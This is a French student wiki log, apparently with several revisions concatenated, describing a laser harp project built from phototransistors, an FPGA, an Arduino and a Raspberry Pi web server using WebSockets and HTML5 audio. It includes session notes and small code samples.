La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:14:59Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.</br>
Notre deuxième solution était de modifier la valeur de test1.src et d'avoir

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:13:32Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
